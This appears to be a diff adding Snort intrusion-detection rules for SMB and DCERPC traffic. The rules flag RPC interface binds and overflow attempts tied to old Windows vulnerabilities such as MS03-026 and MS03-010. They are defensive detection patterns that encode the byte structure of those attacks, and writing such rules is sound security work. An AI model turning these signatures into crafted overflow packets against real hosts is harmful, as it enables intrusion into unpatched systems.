+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation little endian attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3418; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3395; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3246; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3408; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3253; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator path overflow attempt big endian"; flow:to_server,established; content:"|05|"; within:1; byte_test:1,<,16,3,relative; content:"|5C 00 5C 00|"; byte_test:4,>,256,-8,relative; flowbits:isset,dce.isystemactivator.bind; reference:bugtraq,8205; reference:cve,2003-0352; reference:nessus,11808; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3198; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3215; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3394; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3263; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3433; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3187; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC irot bind attempt"; flow:established,to_server; content:"|05|"; depth:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3236; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3181; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3168; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3414; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3388; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3382; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,2048,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3229; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC IActivation little endian bind attempt"; flow:established,to_server; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; classtype:protocol-command-decode; sid:3276; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3429; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,2048,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3220; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3404; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,1024,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3219; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3398; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3212; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3206; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3399; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC CoGetInstanceFromFile overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3159; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3169; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3261; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3257; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3417; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation little endian attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3410; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3249; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3271; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3437; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3252; rev:2;)
